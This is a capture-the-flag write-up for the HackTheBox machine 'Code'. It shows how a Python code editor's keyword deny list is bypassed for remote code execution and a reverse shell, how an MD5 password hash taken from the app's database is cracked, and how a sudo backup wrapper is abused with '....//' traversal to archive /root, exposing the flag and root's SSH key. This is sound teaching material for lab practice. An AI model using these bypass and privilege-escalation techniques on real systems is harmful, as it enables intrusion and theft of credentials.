Code

The website in Code is a Python in browser code editor. A lot of the dangerous modules are blocked by a keyword filter. I’ll bypass the filter and get RCE. The next user’s hash is in the database, and I’ll crack it to move laterally. For root, I’ll work through a Bash wrapper script around a backup utility, backy. The script tries to prevent backups from outside of /var/ and /home/, but I’ll break out and backup /root. In Beyond Root, I’ll explore protected-regular, which led to some weird behaviors while solving root, and ends up with an unintended solution, and show an slightly unintended path on the foothold using SQLAlchemy.

Box Info

Name Code Code
Play on HackTheBox
Release Date 22 Mar 2025
Retire Date 02 Aug 2025
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Code
Radar Graph Radar chart for Code
First Blood User 00:06:04lineeralgebra
First Blood Root 00:14:50jazzpizazz
Creator FisMatHack

Recon

nmap

nmap finds two open TCP ports, SSH (22) and HTTP (5000):

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-25 21:22 UTC
Nmap scan report for 10.10.11.62
Host is up (0.092s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 6.90 seconds
oxdf@hacky$ nmap -p 22,5000 -sCV 10.10.11.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-25 21:23 UTC
Nmap scan report for 10.10.11.62
Host is up (0.094s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.23 seconds

Based on the OpenSSH version, the host is likely running Ubuntu 20.04 focal. The webserver on port 5000 is Gunicorn, suggesting a Python application.

Website - TCP 5000

Site

The site is a Python code editor:

image-20250325172521790

Clicking “Run” shows the output on the right:

image-20250325172542237

I can try a reverse shell, but it returns:

image-20250325180708587

The “About” link pops a dialog:

image-20250325180733208

There’s a login page. After registering and logging in, a “My Codes” link appears in the nav bar:

image-20250325180827026

Initially it’s empty:

image-20250325180840137

If I use the save button and give it a name, it shows up:

image-20250325180909188

Tech Stack

The main page response headers just shows Gunicorn:

HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Tue, 25 Mar 2025 21:26:52 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 3435
Vary: Cookie

On successful login, a cookie is set:

HTTP/1.1 302 FOUND
Server: gunicorn/20.0.4
Date: Tue, 25 Mar 2025 22:09:51 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 189
Location: /
Vary: Cookie
Set-Cookie: session=.eJx1jDEKAjEQRa8yTh22sdsbCBZiJ7IsQzIbB-IEMsmKLHt304pY_eK99zecl0T2YMPxviHUPvhkM4qMDk-6UpIAvnBgrULJBrgkJmOo5Q0USXTAaXe_7ZWjWC1UJStY876TpaUD3HIDTwqaX5ByhL8P5xzlK-3a5LAZl1kCjsf9A3p0QS8.Z-Mprw.Bl2n0KwU49LfnIGrB5TW-cw8lJA; HttpOnly; Path=/

This is a flask cookie, and it’s used for both flash messages and a signed user id. Flask cookies can be decoded with Flask-Unsign. After a failed login, the new cookie is:

oxdf@hacky$ flask-unsign -d -c eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIFBsZWFzZSB0cnkgYWdhaW4uIl19XX0.Z-Mpow.BSDc0_Yg7l0bIvsSBXn-Is9cUt4
{'_flashes': [('message', 'Invalid credentials. Please try again.')]}

The after logging in:

oxdf@hacky$ flask-unsign -d -c .eJx1jDEKAjEQRa8yTh22sdsbCBZiJ7IsQzIbB-IEMsmKLHt304pY_eK99zecl0T2YMPxviHUPvhkM4qMDk-6UpIAvnBgrULJBrgkJmOo5Q0USXTAaXe_7ZWjWC1UJStY876TpaUD3HIDTwqaX5ByhL8P5xzlK-3a5LAZl1kCjsf9A3p0QS8.Z-Mprw.Bl2n0KwU49LfnIGrB5TW-cw8lJA
{'_flashes': [('message', 'Invalid credentials. Please try again.'), ('message', 'Registration successful! You can now log in.'), ('message', 'Login successful!')], 'user_id': 3}

The site is processing flash messages in the cookie, but then the front end is never pulling them off the stack so they just build up (not sure how this got released with this broken).

The 404 page is the default Flask 404:

image-20250325204606458

Directory Brute Force

I’ll run feroxbuster against the site:

oxdf@hacky$ feroxbuster -u http://10.10.11.62:5000/

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.62:5000/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        5l       22w      189c http://10.10.11.62:5000/logout => http://10.10.11.62:5000/
200      GET       24l       53w      730c http://10.10.11.62:5000/login
200      GET       24l       53w      741c http://10.10.11.62:5000/register
200      GET      192l      382w     3529c http://10.10.11.62:5000/static/css/styles.css
405      GET        5l       20w      153c http://10.10.11.62:5000/run_code
405      GET        5l       20w      153c http://10.10.11.62:5000/save_code
200      GET      100l      234w     3435c http://10.10.11.62:5000/
200      GET       22l       96w      818c http://10.10.11.62:5000/about
302      GET        5l       22w      199c http://10.10.11.62:5000/codes => http://10.10.11.62:5000/login
[####################] - 2m     30013/30013   0s      found:9       errors:0
[####################] - 2m     30000/30000   280/s   http://10.10.11.62:5000/

Nothing interesting here beyond what I’ve already identified with manual enumeration.

Shell as app-production

Deny List Identification

Running code sends an HTTP POST to /run_code:

POST /run_code HTTP/1.1
Host: 10.10.11.62:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 33
Origin: http://10.10.11.62:5000
Connection: keep-alive
Referer: http://10.10.11.62:5000/?code_id=0
Cookie: session=.eJzVkMFqAkEMhl8lzXnx4s03EHoovYmIxJk4G5idyCSzi4jv3l2hlNLae0855Pv_L-SGx3Mm69lws78h-DxwYDNKjB1uy0hZIoTKkYsLZVvBW2YyBq9XoERSVni4dz-z75zEvJKLFrAWwrw5t_wCO20QqEDRCbImeNrwqkm-RX_Hlr6oc51DTyPDhesgZovWFUbhCbwXg6CRn5iWikf2xFyWoxJH0OZ_4EMzn_FPWL5kV231IbP_9plDh824HiXiZn3_AMnAt4U.Z-NOig.95P_eh5Hjzrx_eozxDj_DF8MLtk
Priority: u=0

code=print(%22Hello%2C+world!%22)

The code is included URL-encoded.

If I send that request to Burp Repeater and some playing around shows that the word “import” is blocked. For example, missing the final “t” returns a Python error:

image-20250325204950538

Adding the “t” hits the block list:

image-20250325205009574

If I add things around “import” like “ximportx”, it still blocks, which shows that it’s only matching on strings, not looking at the code that is executed.

Another blocked word seems to be “__builtins__”. “os” and “subprocess” are blocked too.

Deny List Fuzz

I won’t really end up using this, but it’s still an interesting exercise. I’ll create a list of Python keywords using a Python script:

import builtins
import keyword
import pkgutil
import sys


kws = []
kws += dir()
kws += keyword.kwlist
kws += dir(builtins)
kws += sys.builtin_module_names
kws += [m.name for m in pkgutil.iter_modules()]

print('\n'.join(set(kws)))

I’ll run this Python script to generate the wordlist and run it in ffuf:

oxdf@hacky$ ffuf -u http://10.10.11.62:5000/run_code -d 'code=FUZZ' -w python_keywords -mr "not allowed" -H "Content-Type: application/x-www-form-urlencoded"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.10.11.62:5000/run_code
 :: Wordlist         : FUZZ: /home/oxdf/hackthebox/code-10.10.11.62/python_keywords
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : code=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Regexp: not allowed
________________________________________________

ssh_import_id           [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 95ms]
ImportWarning           [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 125ms]
OpenSSL                 [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 133ms]
systemd                 [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 138ms]
open                    [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 89ms]
import                  [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
_threading_local        [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 91ms]
eval                    [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
_posixshmem             [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
subprocess              [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 91ms]
_thread                 [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 91ms]
readline                [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
zipimport               [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
_distutils_system_mod   [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 92ms]
importlib               [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
_testimportmultiple     [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 89ms]
os                      [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 89ms]
SystemError             [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
posixpath               [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
__builtins__            [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
ImportError             [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 89ms]
posix                   [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 91ms]
ossaudiodev             [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 89ms]
__import__              [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
OSError                 [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
threading               [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
_posixsubprocess        [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 89ms]
exec                    [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 89ms]
termios                 [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 92ms]
_osx_support            [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 91ms]
SystemExit              [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
:: Progress: [654/654] :: Job [1/1] :: 222 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

This provides a good list of words that are blocked.

RCE

I didn’t really end up using that list. I’ll show my process for getting past the block list in this video:

In short, I am able to run globals():

image-20250326123920637

This dictionary has all the loaded functions, including the os module:

image-20250326124004818

The string “os” triggers the block, but since I am access it as a string, 'o' + 's' is not:

image-20250326124044206

“open” is also blocked, but I can use the getattr function to get a method or attribute from a module, and then string concatenation to bypass the filter:

image-20250729125925639

With access to popen, I’ll run it, which returns a os._wrap_close object:

image-20250729125951301

I need to call .read. “read” is blocked, but getattr plus string concatenation again:

image-20250729130040292

This time I’ve added () to the end to run the function once it’s returned.

Shell

I’ll replace “id” with a bash reverse shell and on running, it hangs:

image-20250326124518743

At nc, there’s a shell:

oxdf@hacky$ nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.62 41918
bash: cannot set terminal process group (28976): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$

I’ll upgrade the shell using the script trick:

app-production@code:~/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null 
app-production@code:~/app$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
            reset
reset: unknown terminal type unknown
Terminal type? screen
app-production@code:~/app$ 

And I can read user.txt:

app-production@code:~$ cat user.txt
1eb22db4************************

This shell can die quickly, so I’ll add an SSH key:

app-production@code:~$ mkdir .ssh
app-production@code:~$ cd .ssh
app-production@code:~/.ssh$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" > authorized_keys

Now I can SSH in from my host:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen app-production@10.10.11.62
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)
...[snip]...
app-production@code:~$

Shell as martin

Enumeration

Users

There’s nothing too interesting in the app-production user’s home directory other than the web application in app:

app-production@code:~$ ls -la
total 40
drwxr-x--- 6 app-production app-production 4096 Mar 26 18:33 .
drwxr-xr-x 4 root           root           4096 Aug 27  2024 ..
drwxrwxr-x 6 app-production app-production 4096 Feb 20 12:10 app
lrwxrwxrwx 1 app-production app-production    9 Jul 27  2024 .bash_history -> /dev/null
-rw-r--r-- 1 app-production app-production  220 Jul 26  2024 .bash_logout
-rw-r--r-- 1 app-production app-production 3771 Jul 26  2024 .bashrc
drwx------ 2 app-production app-production 4096 Aug 26  2024 .cache
drwxrwxr-x 3 app-production app-production 4096 Aug 26  2024 .local
-rw-r--r-- 1 app-production app-production  807 Jul 26  2024 .profile
lrwxrwxrwx 1 app-production app-production    9 Jul 27  2024 .python_history -> /dev/null
lrwxrwxrwx 1 app-production app-production    9 Jul 27  2024 .sqlite_history -> /dev/null
drwxr-xr-x 2 app-production app-production 4096 Mar 26 18:33 .ssh
-rw-r----- 1 root           app-production   33 Jul 27  2024 user.txt

There’s one other user on the box with a home directory in /home, which matches users with shells set in passwd:

app-production@code:/home$ ls
app-production  martin
app-production@code:/home$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash

The app-production user requires a password to run sudo -l, which I don’t have:

app-production@code:~$ sudo -l
[sudo] password for app-production:

Web Database

There is a SQLite database in /home/app-production/app/instance/:

app-production@code:~/app/instance$ file database.db 
database.db: SQLite 3.x database, last written using SQLite version 3031001

It has two tables:

app-production@code:~/app/instance$ sqlite3 database.db 
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
code  user

code is not interesting:

sqlite> .headers on
sqlite> select * from code;
id|user_id|code|name
1|1|print("Functionality test")|Test

user has two users with hashes (my user must have been cleaned up):

sqlite> select * from user;
id|username|password
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be

Recover Password

Identify Algorithm

Just looking at these hashes I can guess that they are MD5s based on their being 32 hex characters. That said, to be sure I can look at app.py. In register, the user-supplied password is hashed before storing in the DB:

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()

Lookup

MD5s are very quick to bruteforce with hashcat, but they also benefit from being unsalted, which means that people have already calculated and stored hashes for a huge number of passwords and I can just do a lookup. I would be careful about putting a production hash into a site on the internet, but for HTB, something like CrackStation works great:

image-20250326150207126

Both crack!

su / SSH

The “nafeelswordsmaster” password works for martin on Code with su:

app-production@code:~$ su - martin
Password: 
martin@code:~$

They also work over SSH from my host:

oxdf@hacky$ sshpass -p nafeelswordsmaster ssh martin@10.10.11.62
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)
martin@code:~$ 

Disclaimer - I like to use sshpass to pass passwords via the command line for CTF blog posts because it makes it very clear what I’m doing. Never enter real credentials into the command line like this.

Shell as root

Enumeration

Home Directory

martin’s home directory has a backups directory:

martin@code:~$ ls
backups
martin@code:~$ cd backups/
martin@code:~/backups$ ls
code_home_app-production_app_2024_August.tar.bz2  task.json

The tar.bz2 file has a copy of the app-production user’s home directory.

task.json describes the backup:

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}

sudo

martin can run backy.sh as root on Code:

martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

backy.sh

The script is a way to run backy after filtering the input:

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

In theory, it’s limiting running to only target /var/ and /home/, and blocking any directory traversal by replacing ../ with nothing.

backy

There’s also a /usr/bin/backy elf file:

martin@code:~$ file /usr/bin/backy
/usr/bin/backy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=RWqjP0EHFxWRL9SxAzvR/3-TEtzva44_xlRAMnq1A/OtYOmubKIkGHYUBMolai/2rhkvEyKOF9Rp_sQ7C0l, not stripped

Running it shows an error for not specifying a task:

martin@code:~$ /usr/bin/backy
2025/03/26 19:08:07 🍀 backy 1.2
2025/03/26 19:08:07 ❗️ No task configuration provided
2025/03/26 19:08:07 🔰 Usage: backy <task.json>

Searching for strings, I find it on GitHub relatively quickly:

image-20250326151322232

File Read

Benign Usage

To get a feel for the app, I’ll make a copy of task.json in /dev/shm and edit it a bit:

{
        "destination": "/dev/shm/",
        "multiprocessing": true,
        "verbose_log": true,
        "directories_to_archive": [
                "~/"
        ]
}

I’m going to backup all of the current user’s home directory to /dev/shm. On running, it works:

martin@code:~$ backy /dev/shm/task.json
2025/03/26 19:38:13 🍀 backy 1.2
2025/03/26 19:38:13 📋 Working with /dev/shm/task.json ...
2025/03/26 19:38:13 💤 Nothing to sync
2025/03/26 19:38:13 📤 Archiving: [/home/martin]
2025/03/26 19:38:13 📥 To: /dev/shm ...
2025/03/26 19:38:13 📦
tar: Removing leading `/' from member names
/home/martin/
/home/martin/.local/
/home/martin/.sqlite_history
/home/martin/.profile
/home/martin/.python_history
/home/martin/backups/
/home/martin/backups/task.json
/home/martin/backups/code_home_app-production_app_2024_August.tar.bz2
/home/martin/.cache/
/home/martin/.bash_logout
/home/martin/.ssh/
/home/martin/.bash_history
/home/martin/.bashrc

There’s a backup in /dev/shm:

martin@code:~$ ls /dev/shm/
code_home_martin_2025_March.tar.bz2  task.json

Directory Traversal

The backy.sh script passes the task.json file into jq to replace instances of ../ with nothing:

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

I’ll do some experimenting at the command line with jq on how this works:

martin@code:~$ echo '{"other_key": true, "directories_to_archive":["~/"]}' | jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))'
{
  "other_key": true,
  "directories_to_archive": [
    "~/"
  ]
}

With my initial payload it doesn’t change anything. To work in the script, the directories must start with /var or /home:

martin@code:~$ echo '{"other_key": true, "directories_to_archive":["/var/tmp"]}' | jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))'
{
  "other_key": true,
  "directories_to_archive": [
    "/var/tmp"
  ]
}

The obvious attack is to start in /var and then go up and back into /root, but the ../ is filtered out:

martin@code:~$ echo '{"other_key": true, "directories_to_archive":["/var/../root"]}' | jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))'
{
  "other_key": true,
  "directories_to_archive": [
    "/var/root"
  ]
}

I’ll use the common trick with web directories traversals to pass in something like “….//”, so that when “../” is removed, “../” remains:

martin@code:~$ echo '{"other_key": true, "directories_to_archive":["/var/....//root"]}' | jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))'
{
  "other_key": true,
  "directories_to_archive": [
    "/var/../root"
  ]
}

With that in mind, I’ll create a task.json:

{
  "destination": "/dev/shm/",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/var/....//root/"
  ]
}

It works:

martin@code:~$ sudo backy.sh task.json 
2025/03/26 19:48:36 🍀 backy 1.2
2025/03/26 19:48:36 📋 Working with task.json ...
2025/03/26 19:48:36 💤 Nothing to sync
2025/03/26 19:48:36 📤 Archiving: [/var/../root]
2025/03/26 19:48:36 📥 To: /dev/shm ...
2025/03/26 19:48:36 📦
tar: Removing leading `/var/../' from member names
/var/../root/
/var/../root/.local/
/var/../root/.local/share/
/var/../root/.local/share/nano/
/var/../root/.local/share/nano/search_history
/var/../root/.sqlite_history
/var/../root/.profile
/var/../root/scripts/
/var/../root/scripts/cleanup.sh
/var/../root/scripts/backups/
/var/../root/scripts/backups/task.json
/var/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/var/../root/scripts/database.db
/var/../root/scripts/cleanup2.sh
/var/../root/.python_history
/var/../root/root.txt
/var/../root/.cache/
/var/../root/.cache/motd.legal-displayed
/var/../root/.ssh/
/var/../root/.ssh/id_rsa
/var/../root/.ssh/authorized_keys
/var/../root/.bash_history
/var/../root/.bashrc

Lots of interesting stuff in there. It’s worth a quick note to say that this fails if task.json is located in /dev/shm or /tmp. I’ll explore why in Beyond Root.

I’ll decompress the archive:

martin@code:/dev/shm$ tar xjf code_var_.._root_2025_March.tar.bz2 
martin@code:/dev/shm$ ls
code_var_.._root_2025_March.tar.bz2  root

It creates a root directory. I can read the flag:

martin@code:/dev/shm$ cat root/root.txt
5cd1b0f3************************

I can also get root’s private SSH key:

martin@code:/dev/shm$ cat root/.ssh/id_rsa 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvxPw90VRJajgkjwxZqXr865V8He/HNHVlhp0CP36OsKSi0DzIZ4K
sqfjTi/WARcxLTe4lkVSVIV25Ly5M6EemWeOKA6vdONP0QUv6F1xj8f4eChrdp7BOhRe0+
...[snip]...
hdENGN+hVCh//jFwAAAAlyb290QGNvZGU=
-----END OPENSSH PRIVATE KEY----=

And SSH as root:

oxdf@hacky$ ssh -i ~/keys/code-root root@10.10.11.62
...[snip]...
root@code:~# 

Beyond Root

Root Weirdness

Situation

On first trying to solve Code, I’ll save task.json in /dev/shm, the temp directory I like to work out of. However, on running basky.sh as root to exploit this, it fails:

martin@code:/dev/shm$ sudo backy.sh ./task.json 
/usr/bin/backy.sh: line 19: ./task.json: Permission denied
2025/07/29 16:10:29 🍀 backy 1.2
2025/07/29 16:10:29 📋 Working with ./task.json ...
2025/07/29 16:10:29 💤 Nothing to sync
2025/07/29 16:10:29 📤 Archiving: [/var/....//root]
2025/07/29 16:10:29 📥 To: /dev/shm ...
2025/07/29 16:10:29 📦
tar: Removing leading `/' from member names
tar: /var/....//root: Cannot stat: No such file or directory
tar: Exiting with failure status due to previous errors
2025/07/29 16:10:29 💢 Archiving failed for: /var/....//root
2025/07/29 16:10:29 ❗️ Archiving completed with errors

On the first line of output, there’s a permissions denied message associated with backy.sh line 19. It’d odd that root has permission denied. Line 19 is where the cleaned up task is written back over the original file:

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

Then it tries to run backy anyway, but the path it’s trying to back up it broken, and it fails.

Protected Regular

The reason this fails is because of a security measure in the Linux kernel named protected regular:

This protection is similar to protected_fifos, but it avoids writes to an attacker-controlled regular file, where a program expected to create one.

When set to “0”, writing to regular files is unrestricted.

When set to “1” don’t allow O_CREAT open on regular files that we don’t own in world writable sticky directories, unless they are owned by the owner of the directory.

When set to “2” it also applies to group writable sticky directories.

/dev/shm, /tmp, and /var/tmp are all world-writable, sticky directories owned by root. So when root tries on line 19 to write to a file owned by martin in any of these dirs, it gets blocked.

This is very similar to protected symlinks security measure I covered in LinkVortex.

Unintended Root

Because bash scripts are very forgiving on failures and will just continue (unless something like set -o errexit or set -e is called before), I can abuse this to skip the directory traversal “fix” entirely.

I’ll write a task.json with a natural traversal:

{
  "destination": "/dev/shm/",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/var/../root/"
  ]
}

Now when I run this, it still throws the error on line 19, but then continues and backs up /root/ to /dev/shm:

martin@code:/dev/shm$ sudo backy.sh task.json 
/usr/bin/backy.sh: line 19: task.json: Permission denied
2025/07/29 16:43:17 🍀 backy 1.2
2025/07/29 16:43:17 📋 Working with task.json ...
2025/07/29 16:43:17 💤 Nothing to sync
2025/07/29 16:43:17 📤 Archiving: [/var/../root]
2025/07/29 16:43:17 📥 To: /dev/shm ...
2025/07/29 16:43:17 📦
tar: Removing leading `/var/../' from member names
/var/../root/
/var/../root/.local/
/var/../root/.local/share/
/var/../root/.local/share/nano/
/var/../root/.local/share/nano/search_history
/var/../root/.selected_editor
/var/../root/.sqlite_history
/var/../root/.profile
/var/../root/scripts/
/var/../root/scripts/cleanup.sh
/var/../root/scripts/backups/
/var/../root/scripts/backups/task.json
/var/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/var/../root/scripts/database.db
/var/../root/scripts/cleanup2.sh
/var/../root/.python_history
/var/../root/root.txt
/var/../root/.cache/
/var/../root/.cache/motd.legal-displayed
/var/../root/.ssh/
/var/../root/.ssh/id_rsa
/var/../root/.ssh/authorized_keys
/var/../root/.bash_history
/var/../root/.bashrc

Alternative Foothold

Overview

On solving, I bypassed the filters to get access to the os modules and ran (with some obfuscation) os.popen(cmd).read() to get RCE and a shell. Then I read the database and pivoted to the next user, martin.

However, it’s very reasonable to skip the RCE and go right to the DB:

flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] --->|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] --->|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Python Editor]--Filter\nBypass-->B[<a href='#shell-as-app-production'>Shell as\napp-production</a>];
    B-->C(Read Password\nHash from DB)
    C-->D(Crack Password)
    D-->E[<a href="#su--ssh">Shell as\nmartin</a>]
    A--Python ORM-->C;

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,6 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;

Expliot

I’ll start where I list the items in the globals dictionary via the editor:

image-20250326145043907

User is one! If Flask is using SQLAlchemy to interact with the DB, it will have mapped User and likely Code objects to tables in the database. Looking at the object, it has attributes like codes, id, metadata, password, username, and most interestingly, query:

image-20250326145226449

There are two users in the DB:

image-20250326145257598

An individual user will have basically the same attributes as shown above. I’ll get the username and password:

image-20250326145458217

From here I can crack the hash and SSH in as martin as above.